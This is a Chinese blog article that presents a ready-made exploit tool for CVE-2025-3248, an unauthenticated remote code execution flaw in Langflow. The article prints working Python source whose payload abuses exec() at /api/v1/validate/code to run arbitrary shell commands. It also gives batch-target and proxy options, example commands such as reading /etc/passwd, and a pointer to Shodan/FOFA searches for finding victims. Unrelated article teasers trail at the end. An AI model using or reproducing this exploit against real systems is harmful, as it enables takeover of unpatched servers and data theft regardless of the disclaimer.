news 2026/5/1 10:12:12

CVE-2025-3248 Langflow远程代码执行漏洞利用工具

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-3248 Langflow远程代码执行漏洞利用工具

CVE-2025-3248 Langflow RCE 漏洞利用工具

项目概述

CVE-2025-3248是一个严重的无需认证的远程代码执行漏洞,影响Langflow(一个流行的用于构建LLM应用程序的低代码框架)。该漏洞源于不安全地使用了Python内置的exec()函数来评估用户提供的输入,且未进行适当的清理。这使得攻击者能够在服务器上执行任意Python代码,完全控制底层系统。

  • CVE ID:CVE-2025-3248
  • 严重等级:严重
  • CVSS 评分:9.8
  • EPSS 评分:92.57%
  • 发布日期:2025年5月22日
  • 受影响版本:≤ v1.3.0
  • 已修复版本:v1.3.0+

功能特性

  • 🔓 远程且无需认证的RCE:直接对Langflow的API端点进行远程代码执行,无需任何身份验证。
  • 🔐 无需认证:攻击利用过程完全绕过了认证机制。
  • 🐍 Python3 单文件脚本:代码简洁,使用Python3编写,依赖项少,易于执行。
  • 🎨 彩色终端输出:使用colorama库提供清晰的彩色命令行界面,增强可读性。
  • 🌐 多目标支持:支持通过单个URL或包含多个目标URL的文件进行批量测试。
  • 🛠️ 代理支持:支持配置HTTP/HTTPS代理(如Burp Suite),方便流量拦截和调试。
  • 📄 信息收集参考:提供了Shodan、ZoomEye、FOFA等平台的搜索语法,用于快速定位潜在的目标。

安装指南

前置条件

  • Python 版本:3.x
  • 操作系统:支持Windows、Linux、macOS

依赖安装

该脚本主要依赖于requestscolorama库。可以使用pip进行安装。

pipinstallrequests colorama

获取脚本

可以直接复制提供的CVE-2025-3248.py脚本内容,保存为本地Python文件。

使用说明

基本用法

该工具通过命令行参数运行。

python3 CVE-2025-3248.py -u http://target:7860 -c"id"

命令行参数详解

  • -u, --url: 指定单个目标URL(例如,http://192.168.1.100:7860)。
  • -i, --input: 指定一个包含多个目标URL列表的文件路径(每行一个URL)。
  • -c, --cmd:(必需)指定要在目标系统上执行的Shell命令(例如,idwhoami,cat /etc/passwd)。
  • -p, --proxy: 指定代理服务器地址(例如,http://127.0.0.1:8080用于Burp Suite)。

使用示例

  1. 针对单个目标执行命令:

    python3 CVE-2025-3248.py -u http://victim.com:7860 -c"uname -a"
  2. 针对多个目标执行命令(批量测试):
    首先创建一个包含目标URL的文本文件targets.txt:

    http://target1.com:7860 http://target2.com:7860

    然后运行脚本:

    python3 CVE-2025-3248.py -i targets.txt -c"ls -la"
  3. 通过代理运行(用于调试或流量分析):

    python3 CVE-2025-3248.py -u http://test.local:7860 -c"pwd"-p http://127.0.0.1:8080

受影响端点

攻击针对Langflow的API端点:/api/v1/validate/code

核心代码

1. 主执行类LangflowExploit

该类封装了与目标交互的核心逻辑,包括发送恶意载荷和处理响应。

classLangflowExploit:def__init__(self,url,proxy=None,timeout=10):# 初始化会话,设置目标URL、超时时间和代理self.url=url.rstrip('/')self.timeout=timeout self.session=requests.Session()self.session.verify=False# 忽略SSL证书验证self.session.headers.update({'User-Agent':'Mozilla/5.0 (mitsec)','Content-Type':'application/json','Accept':'application/json',})ifproxy:# 配置代理self.session.proxies={"http":proxy,"https":proxy}defexecute(self,command):# 构建目标端点URLendpoint=urljoin(self.url,'/api/v1/validate/code')# 核心载荷:通过构造会抛出异常的exec语句,在异常信息中捕获命令执行结果payload={"code":f""" def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass """}try:print(f"{Fore.YELLOW}[•] Sending exploit to:{endpoint}")# 发送POST请求,载荷为JSON格式response=self.session.post(endpoint,json=payload,timeout=self.timeout)print(f"{Fore.YELLOW}[•] HTTP Status:{response.status_code}")ifresponse.status_code==200:# 尝试解析返回的JSON,提取错误信息(其中包含了命令输出)try:data=response.json()error_msg=data.get("function",{}).get("errors",[""])[0]iferror_msg.startswith("b'"):# 对命令输出进行解码returnerror_msg[2:-1].encode().decode('unicode_escape').strip()exceptExceptionasparse_err:returnf"[!] JSON parse error:{parse_err}"returnf"[!] Exploit failed: HTTP{response.status_code}"exceptrequests.RequestExceptionasreq_err:# 处理网络请求异常returnf"[!] Request failed:{req_err}"

2. 主函数main()

处理命令行参数,协调整个利用流程,支持单目标和批量目标。

defmain():banner()# 打印ASCII艺术横幅parser=argparse.ArgumentParser(description="mitsec | CVE-2025-3248 Langflow RCE Exploit")# 定义命令行参数parser.add_argument("-u","--url",help="Target URL (e.g., http://host:port)")parser.add_argument("-i","--input",help="File containing list of target URLs")parser.add_argument("-c","--cmd",required=True,help="Command to execute (e.g., id, whoami)")parser.add_argument("-p","--proxy",help="Proxy URL (e.g., http://127.0.0.1:8080 for Burp Suite)")args=parser.parse_args()targets=[]# 存储目标列表# 根据参数读取目标:优先从文件读取,否则使用单个URLifargs.input:try:withopen(args.input,'r')asf:targets=[line.strip()forlineinfifline.strip()]exceptExceptionase:print(f"{Fore.RED}[!] Failed to read input file:{e}")returnelifargs.url:targets=[args.url]else:print(f"{Fore.RED}[!] Please specify either --url or --input.")return# 遍历所有目标并执行攻击fortargetintargets:print(f"{Fore.CYAN}\n[>] Target:{target}")exploit=LangflowExploit(target,proxy=args.proxy)output=exploit.execute(args.cmd)# 执行命令print(f"{Fore.GREEN}[+] Command Output:\n{output}")

3. 横幅函数banner()

生成并显示彩色的工具标识和信息横幅,增加专业感。

defbanner():color=random.choice(COLORS)# 随机选择一种颜色# 打印ASCII艺术字和工具信息框,包含CVE编号、作者等print(f"""{Style.BRIGHT}{color}█████╗ ███████╗██╗ ██╗ ██╔══██╗██╔════╝██║ ██╔╝ ███████║███████╗███████╔╝ ██╔══██║╚════██║██╔═ ██╗ ██║ ██║███████║██║ ██╗ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ASH!!! ╔══════════════════════════════════════════════════════════════════════════════════╗ ║ Exploit Title: Langflow Remote Code Execution (RCE) ║ ║ CVE ID :{Fore.RED+Style.BRIGHT}CVE-2025-3248{color+Style.BRIGHT}║ ║ Author : B1ack4sh Black ASH ║ ║ GitHub : https://github.com/B1ack4sh ║ ╚══════════════════════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}""")

⚠️ 漏洞技术原理与免责声明

漏洞原理:
该漏洞位于Langflow的/api/v1/validate/code端点。后端代码(推测位于类似langflow/api/builder/execute.py的文件中)直接使用exec(code)执行用户传入的代码,既没有输入验证,也没有沙箱环境。

免责声明:
本工具仅用于教育、安全研究和授权测试。严禁将其用于任何未经授权的系统。使用者需自行承担所有责任。开发者和贡献者不对任何滥用行为负责。在测试任何系统之前,请确保您已获得明确的所有者许可。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4O0LUJzubeXR3Uhsyi1DNO
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 23:21:01

测试数据即服务(TDaaS)实战:市场规模破百亿的入门教程

随着软件交付速度加快,测试数据管理已成为制约效率的关键瓶颈。传统方式如手动准备数据耗时长达2.5天/次,且42%的缺陷源于数据与生产环境脱节。测试数据即服务(TDaaS)通过云原生架构,将数据生成、脱敏与供给封装为可调用接口,实现…

作者头像 李华
网站建设 2026/5/1 5:48:01

导师严选8个降AIGC平台,千笔帮你轻松降AI率

AI降重工具:让论文更自然,让查重更轻松 在当前高校教育中,随着AI技术的广泛应用,越来越多的学生开始使用AI辅助写作。然而,随之而来的AIGC率过高问题也让许多学生感到困扰。如何在保持论文逻辑与语义不变的前提下&…

作者头像 李华
网站建设 2026/5/1 10:00:09

Jupyter学习中的问题--FileNotFoundError

**import pandas as pd pd.read_excel("Users/machh/Downloads/data_L/course_participants.xlsx")错误在哪里核心问题修正与关键说明 路径错误(最核心问题) 路径 Users/machh/… 缺少根目录前缀 /,属于相对路径,Python…

作者头像 李华
网站建设 2026/4/30 20:46:21

内网中,百度开源上传组件如何支持大文件的分段上传?

(叼着冰棍敲键盘,显示器蓝光映着稀疏的头发) 各位爷瞧好了啊!咱这老码农被甲方爸爸按在地上摩擦了三个月,终于用原生JS搓出个能兼容IE9的文件夹上传怪兽。先说好哈,100块预算连我键盘缝里的烟灰都买不起&a…

作者头像 李华
网站建设 2026/5/1 5:27:53

亲测好用10个降AIGC网站,千笔AI帮你高效降AI率

AI降重工具:让论文更自然,让学术更真实 在如今的学术写作中,AI生成内容(AIGC)已经成为了不可忽视的一部分。无论是初稿的构思还是后期的润色,AI工具都能提供极大的便利。然而,随着高校和期刊对…

作者头像 李华
网站建设 2026/4/30 18:46:55

闭眼入!千笔,本科生论文写作神器

你是否曾为论文选题发愁?是否在写到一半时突然卡壳,不知如何继续?又是否因为格式不规范、查重率太高而反复修改?论文写作的每一步都像一场硬仗,尤其是对第一次接触学术写作的本科生来说,更是充满挑战。但今…

作者头像 李华